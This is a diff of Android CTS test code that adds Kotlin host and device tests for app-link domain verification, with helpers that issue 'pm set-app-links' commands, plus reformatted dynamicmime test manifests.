+    @Before
+    @After
+    fun uninstall() {
+        device.uninstallPackage(DECLARING_PKG_NAME_1)
+        device.uninstallPackage(DECLARING_PKG_NAME_2)
+    }
+
+    @Test
+    fun multipleVerifiedTakeLastFirstInstall() {
+        device.installApkResource(tempFolder, DECLARING_PKG_APK_2)
+
+        // Ensure a later install time
+        Thread.sleep(500)
+
+        device.installApkResource(tempFolder, DECLARING_PKG_APK_1)
+
+        // Install an update, which should not take precedence
+        device.installApkResource(tempFolder, DECLARING_PKG_APK_2, reinstall = true)
+
+        runDeviceTests(DeviceTestRunOptions(CALLING_PKG_NAME).apply {
+            testClassName = "$CALLING_PKG_NAME.DomainVerificationIntentHostTimedTests"
+        })
+    }
+}
diff --git a/hostsidetests/packagemanager/domainverification/host/src/com/android/cts/packagemanager/verify/domain/host/DomainVerificationTests.kt b/hostsidetests/packagemanager/domainverification/host/src/com/android/cts/packagemanager/verify/domain/host/DomainVerificationTests.kt
new file mode 100644
index 0000000..a8e640d
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/host/src/com/android/cts/packagemanager/verify/domain/host/DomainVerificationTests.kt
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.verify.domain.host
+
+import com.android.cts.packagemanager.verify.domain.host.DomainVerificationHostUtils.installApkResource
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.CALLING_PKG_NAME
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DECLARING_PKG_APK_1
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DECLARING_PKG_APK_2
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DECLARING_PKG_NAME_1
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DECLARING_PKG_NAME_2
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DECLARING_PKG_NAME_BASE
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test
+import com.android.tradefed.testtype.junit4.DeviceTestRunOptions
+import org.junit.After
+import org.junit.Before
+import org.junit.Rule
+import org.junit.Test
+import org.junit.rules.TemporaryFolder
+import org.junit.runner.RunWith
+
+@RunWith(DeviceJUnit4ClassRunner::class)
+class DomainVerificationTests : BaseHostJUnit4Test() {
+
+    @Rule
+    @JvmField
+    val tempFolder = TemporaryFolder()
+
+    @Before
+    @After
+    fun uninstall() {
+        device.uninstallPackage(DECLARING_PKG_NAME_1)
+        device.uninstallPackage(DECLARING_PKG_NAME_2)
+    }
+
+    @Test
+    fun declaredDomainSet() {
+        device.installApkResource(tempFolder, DECLARING_PKG_APK_1)
+        runDeviceTests(DeviceTestRunOptions(DECLARING_PKG_NAME_1).apply {
+            // The base name is used as the code package does not change with
+            // the manifest rename that splits the packages into 1 and 2 variants.
+            testClassName = "$DECLARING_PKG_NAME_BASE.DomainVerificationDeclaringAppTests"
+            testMethodName = "verifyOwnDomains"
+        })
+    }
+
+    @Test
+    fun verifyDomains() {
+        device.installApkResource(tempFolder, DECLARING_PKG_APK_1)
+        device.installApkResource(tempFolder, DECLARING_PKG_APK_2)
+        runDeviceTests(DeviceTestRunOptions(CALLING_PKG_NAME).apply {
+            testClassName = "$CALLING_PKG_NAME.DomainVerificationCallingAppTests"
+        })
+    }
+}
diff --git a/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp b/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
new file mode 100644
index 0000000..e956874
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_library {
+    name: "CtsDomainVerificationAndroidConstantsLibrary",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.kt"],
+    static_libs: [
+        "androidx.test.ext.junit",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "CtsDomainVerificationJavaConstantsLibrary",
+        "CtsDomainVerificationVerificationsLibrary",
+        "junit",
+        "kotlin-reflect",
+        "truth-prebuilt",
+    ],
+}
diff --git a/hostsidetests/packagemanager/domainverification/lib/constants/android/AndroidManifest.xml b/hostsidetests/packagemanager/domainverification/lib/constants/android/AndroidManifest.xml
new file mode 100644
index 0000000..f332a9e
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/lib/constants/android/AndroidManifest.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?><!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest package="com.android.cts.packagemanager.verify.domain.constants.android">
+    <application/>
+</manifest>
+
diff --git a/hostsidetests/packagemanager/domainverification/lib/constants/android/src/com/android/cts/packagemanager/verify/domain/android/DomainUtils.kt b/hostsidetests/packagemanager/domainverification/lib/constants/android/src/com/android/cts/packagemanager/verify/domain/android/DomainUtils.kt
new file mode 100644
index 0000000..156bf77
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/lib/constants/android/src/com/android/cts/packagemanager/verify/domain/android/DomainUtils.kt
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.verify.domain.android
+
+import android.content.ComponentName
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DECLARING_PKG_NAME_1
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DECLARING_PKG_NAME_2
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DECLARING_PKG_NAME_BASE
+
+object DomainUtils {
+    val DECLARING_PKG_1_COMPONENT =
+        ComponentName(DECLARING_PKG_NAME_1, "$DECLARING_PKG_NAME_BASE.DeclaringActivity")
+    val DECLARING_PKG_2_COMPONENT =
+        ComponentName(DECLARING_PKG_NAME_2, "$DECLARING_PKG_NAME_BASE.DeclaringActivity")
+}
diff --git a/hostsidetests/packagemanager/domainverification/lib/constants/android/src/com/android/cts/packagemanager/verify/domain/android/DomainVerificationIntentTestBase.kt b/hostsidetests/packagemanager/domainverification/lib/constants/android/src/com/android/cts/packagemanager/verify/domain/android/DomainVerificationIntentTestBase.kt
new file mode 100644
index 0000000..283332c
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/lib/constants/android/src/com/android/cts/packagemanager/verify/domain/android/DomainVerificationIntentTestBase.kt
@@ -0,0 +1,156 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.verify.domain.android
+
+import android.app.Instrumentation
+import android.content.ComponentName
+import android.content.Intent
+import android.content.pm.PackageManager
+import android.content.pm.verify.domain.DomainVerificationManager
+import android.net.Uri
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.ShellUtils
+import com.android.cts.packagemanager.verify.domain.SharedVerifications
+import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_1_COMPONENT
+import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_2_COMPONENT
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DECLARING_PKG_NAME_1
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DECLARING_PKG_NAME_2
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_UNHANDLED
+import com.google.common.truth.Truth.assertThat
+import org.junit.After
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.runner.RunWith
+import org.junit.runners.Parameterized
+
+@RunWith(Parameterized::class)
+abstract class DomainVerificationIntentTestBase(
+    private val domain: String,
+    private val assertResolvesToBrowsersInBefore: Boolean = true
+) {
+
+    companion object {
+
+        @Parameterized.Parameters(name = "{0}")
+        @JvmStatic
+        fun parameters() = IntentVariant.values()
+    }
+
+    @Parameterized.Parameter(0)
+    lateinit var intentVariant: IntentVariant
+
+    protected val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+    protected val context = instrumentation.targetContext
+    protected val packageManager = context.packageManager
+    protected val userId = context.userId
+    protected val manager = context.getSystemService(DomainVerificationManager::class.java)!!
+
+    protected lateinit var intent: Intent
+
+    protected lateinit var browsers: List<ComponentName>
+    protected lateinit var allResults: List<ComponentName>
+
+    @Before
+    fun findBrowsers() {
+        intent = Intent(Intent.ACTION_VIEW, Uri.parse("https://$domain"))
+            .applyIntentVariant(intentVariant)
+
+        browsers = Intent(Intent.ACTION_VIEW, Uri.parse("https://$DOMAIN_UNHANDLED"))
+            .applyIntentVariant(intentVariant)
+            .let { context.packageManager.queryIntentActivities(it, 0) }
+            .map { it.activityInfo }
+            .map { ComponentName(it.packageName, it.name) }
+            .also { assumeTrue(it.isNotEmpty()) }
+
+        val allResults = browsers.toMutableList()
+        try {
+            packageManager.getPackageInfo(DECLARING_PKG_NAME_1, 0)
+            allResults += DECLARING_PKG_1_COMPONENT
+        } catch (ignored: PackageManager.NameNotFoundException) {
+        }
+        try {
+            packageManager.getPackageInfo(DECLARING_PKG_NAME_2, 0)
+            allResults += DECLARING_PKG_2_COMPONENT
+        } catch (ignored: PackageManager.NameNotFoundException) {
+        }
+
+        this.allResults = allResults
+
+        if (assertResolvesToBrowsersInBefore) {
+            assertResolvesTo(browsers)
+        }
+    }
+
+    @Before
+    @After
+    fun reset() {
+        SharedVerifications.reset(context)
+    }
+
+    protected fun runShellCommand(vararg commands: String) = commands.forEach {
+        assertThat(ShellUtils.runShellCommand(it)).isEmpty()
+    }
+
+    protected fun assertResolvesTo(result: ComponentName) = assertResolvesTo(listOf(result))
+
+    protected fun assertResolvesTo(components: Collection<ComponentName>) {
+        // Pass MATCH_DEFAULT_ONLY to mirror startActivity resolution
+        assertThat(packageManager.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY)
+            .map { it.activityInfo }
+            .map { ComponentName(it.packageName, it.name) })
+            .containsExactlyElementsIn(components)
+
+        if (intent.hasCategory(Intent.CATEGORY_DEFAULT)) {
+            // Verify explicit DEFAULT mirrors MATCH_DEFAULT_ONLY
+            assertThat(packageManager.queryIntentActivities(intent, 0)
+                .map { it.activityInfo }
+                .map { ComponentName(it.packageName, it.name) })
+                .containsExactlyElementsIn(components)
+        } else {
+            // Verify that non-DEFAULT match returns all results
+            assertThat(packageManager.queryIntentActivities(intent, 0)
+                .map { it.activityInfo }
+                .map { ComponentName(it.packageName, it.name) })
+                .containsExactlyElementsIn(allResults)
+        }
+    }
+
+    fun resetAppLinks(packageName: String) {
+        runShellCommand(DomainUtils.resetAppLinks(packageName))
+    }
+
+    fun setAppLinks(packageName: String, enabled: Boolean, vararg domains: String) {
+        val state = "STATE_APPROVED".takeIf { enabled } ?: "STATE_DENIED"
+        runShellCommand(DomainUtils.setAppLinks(packageName, state, *domains))
+    }
+
+    fun setAppLinksAllowed(packageName: String, userId: Int, enabled: Boolean) {
+        runShellCommand(DomainUtils.setAppLinksAllowed(packageName, userId, enabled))
+    }
+
+    fun setAppLinksUserSelection(
+        packageName: String,
+        userId: Int,
+        enabled: Boolean,
+        vararg domains: String
+    ) {
+        runShellCommand(
+            DomainUtils.setAppLinksUserSelection(packageName, userId, enabled, *domains)
+        )
+    }
+}
diff --git a/hostsidetests/packagemanager/domainverification/lib/constants/android/src/com/android/cts/packagemanager/verify/domain/android/IntentVariant.kt b/hostsidetests/packagemanager/domainverification/lib/constants/android/src/com/android/cts/packagemanager/verify/domain/android/IntentVariant.kt
new file mode 100644
index 0000000..91e0d9f
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/lib/constants/android/src/com/android/cts/packagemanager/verify/domain/android/IntentVariant.kt
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.verify.domain.android
+
+import android.content.Intent
+
+enum class IntentVariant {
+    BASE,
+    BROWSABLE,
+    DEFAULT,
+    BROWSABLE_DEFAULT
+}
+
+internal fun Intent.applyIntentVariant(intentVariant: IntentVariant) = apply {
+    when (intentVariant) {
+        IntentVariant.BASE -> {
+        }
+        IntentVariant.BROWSABLE -> addCategory(Intent.CATEGORY_BROWSABLE)
+        IntentVariant.DEFAULT -> addCategory(Intent.CATEGORY_DEFAULT)
+        IntentVariant.BROWSABLE_DEFAULT -> {
+            addCategory(Intent.CATEGORY_BROWSABLE)
+            addCategory(Intent.CATEGORY_DEFAULT)
+        }
+    }
+}
diff --git a/hostsidetests/packagemanager/domainverification/lib/constants/java/Android.bp b/hostsidetests/packagemanager/domainverification/lib/constants/java/Android.bp
new file mode 100644
index 0000000..f67ff2a
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/lib/constants/java/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_library {
+    name: "CtsDomainVerificationJavaConstantsLibrary",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.kt"],
+}
+
+java_library_host {
+    name: "CtsDomainVerificationJavaConstantsLibraryHost",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.kt"],
+}
diff --git a/hostsidetests/packagemanager/domainverification/lib/constants/java/src/com/android/cts/packagemanager/verify/domain/java/DomainUtils.kt b/hostsidetests/packagemanager/domainverification/lib/constants/java/src/com/android/cts/packagemanager/verify/domain/java/DomainUtils.kt
new file mode 100644
index 0000000..141ba59
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/lib/constants/java/src/com/android/cts/packagemanager/verify/domain/java/DomainUtils.kt
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.verify.domain.java
+
+object DomainUtils {
+    private const val BASE_PACKAGE = "com.android.cts.packagemanager.verify.domain"
+
+    const val DOMAIN_TLD = "pmctstesting"
+    const val DOMAIN_1 = "$BASE_PACKAGE.1.$DOMAIN_TLD"
+    const val DOMAIN_2 = "$BASE_PACKAGE.2.$DOMAIN_TLD"
+    const val DOMAIN_3 = "$BASE_PACKAGE.3.$DOMAIN_TLD"
+    const val DOMAIN_UNHANDLED = "$BASE_PACKAGE.unhandled.$DOMAIN_TLD"
+
+    const val CALLING_PKG_NAME = "$BASE_PACKAGE.callingapp"
+
+    const val DECLARING_PKG_NAME_BASE = "$BASE_PACKAGE.declaringapp"
+    private const val DECLARING_PKG_APK_BASE = "CtsDomainVerificationTestDeclaringApp"
+
+    const val DECLARING_PKG_NAME_1 = "${DECLARING_PKG_NAME_BASE}1"
+    val DECLARING_PKG_APK_1 = ApkName("${DECLARING_PKG_APK_BASE}1.apk")
+
+    const val DECLARING_PKG_NAME_2 = "${DECLARING_PKG_NAME_BASE}2"
+    val DECLARING_PKG_APK_2 = ApkName("${DECLARING_PKG_APK_BASE}2.apk")
+
+    inline class ApkName(val value: String)
+
+    val ALL_PACKAGES = listOf(CALLING_PKG_NAME, DECLARING_PKG_NAME_1, DECLARING_PKG_NAME_2)
+
+    fun resetAppLinks(packageName: String) = "pm reset-app-links $packageName"
+
+    fun setAppLinks(packageName: String, state: String, vararg domains: String) =
+        "pm set-app-links --package $packageName $state " +
+                domains.joinToString(separator = " ")
+
+    fun setAppLinksAllowed(packageName: String, userId: Int, enabled: Boolean) =
+        "pm set-app-links-allowed --package $packageName --user $userId $enabled"
+
+    fun setAppLinksUserSelection(
+        packageName: String,
+        userId: Int,
+        enabled: Boolean,
+        vararg domains: String
+    ) = "pm set-app-links-user-selection --package $packageName --user $userId $enabled " +
+            domains.joinToString(separator = " ")
+}
diff --git a/hostsidetests/packagemanager/domainverification/lib/verifications/Android.bp b/hostsidetests/packagemanager/domainverification/lib/verifications/Android.bp
new file mode 100644
index 0000000..1df2d3e
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/lib/verifications/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_library {
+    name: "CtsDomainVerificationVerificationsLibrary",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.kt"],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "CtsDomainVerificationJavaConstantsLibrary",
+        "truth-prebuilt",
+    ],
+}
diff --git a/hostsidetests/packagemanager/domainverification/lib/verifications/src/com/android/cts/packagemanager/verify/domain/SharedVerifications.kt b/hostsidetests/packagemanager/domainverification/lib/verifications/src/com/android/cts/packagemanager/verify/domain/SharedVerifications.kt
new file mode 100644
index 0000000..8cd31e6
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/lib/verifications/src/com/android/cts/packagemanager/verify/domain/SharedVerifications.kt
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.verify.domain
+
+import android.content.Context
+import android.content.pm.verify.domain.DomainVerificationManager
+import android.content.pm.verify.domain.DomainVerificationUserState
+import com.android.compatibility.common.util.ShellUtils
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DECLARING_PKG_NAME_1
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_1
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_2
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_3
+import com.google.common.truth.Truth
+
+object SharedVerifications {
+
+    fun reset(context: Context) {
+        DomainUtils.ALL_PACKAGES.forEach {
+            ShellUtils.runShellCommand(DomainUtils.setAppLinks(it, "STATE_NO_RESPONSE", "all"))
+            ShellUtils.runShellCommand(DomainUtils.resetAppLinks(it))
+            ShellUtils.runShellCommand(DomainUtils.setAppLinksAllowed(it, context.userId, true))
+            ShellUtils.runShellCommand(
+                DomainUtils.setAppLinksUserSelection(it, context.userId, false, "all")
+            )
+        }
+    }
+
+    fun verifyDomains(context: Context) {
+        val packageName = DECLARING_PKG_NAME_1
+        val user = context.user
+        val userId = context.userId
+        val manager = context.getSystemService(DomainVerificationManager::class.java)!!
+        manager.getDomainVerificationUserState(packageName)!!.also {
+            Truth.assertThat(it.packageName).isEqualTo(packageName)
+            Truth.assertThat(it.isLinkHandlingAllowed).isTrue()
+            Truth.assertThat(it.user).isEqualTo(user)
+            Truth.assertThat(it.hostToStateMap).containsExactlyEntriesIn(
+                mapOf(
+                    DOMAIN_1 to DomainVerificationUserState.DOMAIN_STATE_NONE,
+                    DOMAIN_2 to DomainVerificationUserState.DOMAIN_STATE_NONE,
+                    DOMAIN_3 to DomainVerificationUserState.DOMAIN_STATE_NONE,
+                )
+            )
+        }
+
+        // Try to approve both 1 and 2, but only 1 is marked autoVerify
+        ShellUtils.runShellCommand(
+            DomainUtils.setAppLinks(packageName, "STATE_APPROVED", DOMAIN_1, DOMAIN_2)
+        )
+
+        manager.getDomainVerificationUserState(packageName)!!.also {
+            Truth.assertThat(it.packageName).isEqualTo(packageName)
+            Truth.assertThat(it.isLinkHandlingAllowed).isTrue()
+            Truth.assertThat(it.user).isEqualTo(user)
+            Truth.assertThat(it.hostToStateMap).containsExactlyEntriesIn(
+                mapOf(
+                    DOMAIN_1 to DomainVerificationUserState.DOMAIN_STATE_VERIFIED,
+                    DOMAIN_2 to DomainVerificationUserState.DOMAIN_STATE_NONE,
+                    DOMAIN_3 to DomainVerificationUserState.DOMAIN_STATE_NONE,
+                )
+            )
+        }
+
+        ShellUtils.runShellCommand(
+            DomainUtils.setAppLinksUserSelection(packageName, userId, true, DOMAIN_1, DOMAIN_2)
+        )
+
+        manager.getDomainVerificationUserState(packageName)!!.also {
+            Truth.assertThat(it.packageName).isEqualTo(packageName)
+            Truth.assertThat(it.isLinkHandlingAllowed).isTrue()
+            Truth.assertThat(it.user).isEqualTo(user)
+            Truth.assertThat(it.hostToStateMap).containsExactlyEntriesIn(
+                mapOf(
+                    DOMAIN_1 to DomainVerificationUserState.DOMAIN_STATE_VERIFIED,
+                    DOMAIN_2 to DomainVerificationUserState.DOMAIN_STATE_SELECTED,
+                    DOMAIN_3 to DomainVerificationUserState.DOMAIN_STATE_NONE,
+                )
+            )
+        }
+
+        ShellUtils.runShellCommand(DomainUtils.setAppLinksAllowed(packageName, userId, false))
+
+        manager.getDomainVerificationUserState(packageName)!!.also {
+            Truth.assertThat(it.packageName).isEqualTo(packageName)
+            Truth.assertThat(it.isLinkHandlingAllowed).isFalse()
+            Truth.assertThat(it.user).isEqualTo(user)
+            Truth.assertThat(it.hostToStateMap).containsExactlyEntriesIn(
+                mapOf(
+                    DOMAIN_1 to DomainVerificationUserState.DOMAIN_STATE_VERIFIED,
+                    DOMAIN_2 to DomainVerificationUserState.DOMAIN_STATE_SELECTED,
+                    DOMAIN_3 to DomainVerificationUserState.DOMAIN_STATE_NONE,
+                )
+            )
+        }
+    }
+
+}
diff --git a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_helper.xml b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_helper.xml
index 1373430..9b1e295 100644
--- a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_helper.xml
+++ b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_helper.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
   ~ Copyright (C) 2020 The Android Open Source Project
   ~
@@ -17,10 +16,11 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.dynamicmime.helper">
+     package="android.dynamicmime.helper">
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.dynamicmime.common.activity.FirstActivity">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.dynamicmime.common.activity.FirstActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <action android:name="android.dynamicmime.helper.FILTER_INFO_HOOK_group_first"/>
@@ -28,7 +28,8 @@
                 <data android:mimeGroup="group_first"/>
             </intent-filter>
         </activity>
-        <activity android:name="android.dynamicmime.common.activity.SecondActivity">
+        <activity android:name="android.dynamicmime.common.activity.SecondActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.SEND"/>
                 <action android:name="android.dynamicmime.helper.FILTER_INFO_HOOK_group_second"/>
@@ -38,15 +39,14 @@
         </activity>
 
         <receiver android:name="android.dynamicmime.app.AppMimeGroupsReceiver"
-                  android:exported="true">
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.dynamicmime.UPDATE_MIME_GROUP_REQUEST"/>
             </intent-filter>
         </receiver>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.dynamicmime.helper" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.dynamicmime.helper">
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_preferred.xml b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_preferred.xml
index a2b7c08..4dfa7d1 100644
--- a/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_preferred.xml
+++ b/hostsidetests/packagemanager/dynamicmime/app/manifests/AndroidManifest_preferred.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
   ~ Copyright (C) 2020 The Android Open Source Project
   ~
@@ -17,11 +16,12 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.dynamicmime.preferred">
+     package="android.dynamicmime.preferred">
     <application android:testOnly="true"
-                 android:label="TestApp.Application">
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.dynamicmime.common.activity.FirstActivity">
+         android:label="TestApp.Application">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.dynamicmime.common.activity.FirstActivity"
+             android:exported="true">
             <intent-filter android:label="TestApp.FirstActivity">
                 <action android:name="android.dynamicmime.preferred.TEST_ACTION"/>
                 <action android:name="android.dynamicmime.preferred.FILTER_INFO_HOOK_group_first"/>
@@ -30,7 +30,8 @@
             </intent-filter>
         </activity>
 
-        <activity android:name="android.dynamicmime.common.activity.TwoGroupsActivity">
+        <activity android:name="android.dynamicmime.common.activity.TwoGroupsActivity"
+             android:exported="true">
             <intent-filter android:label="TestApp.TwoGroupsActivity">
                 <action android:name="android.dynamicmime.preferred.TEST_ACTION"/>
                 <action android:name="android.dynamicmime.preferred.FILTER_INFO_HOOK_group_both"/>
@@ -61,15 +62,14 @@
         </activity>
 
         <receiver android:name="android.dynamicmime.app.AppMimeGroupsReceiver"
-                  android:exported="true">
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.dynamicmime.UPDATE_MIME_GROUP_REQUEST"/>
             </intent-filter>
         </receiver>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.dynamicmime.preferred">
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.dynamicmime.preferred">
     </instrumentation>
 </manifest>
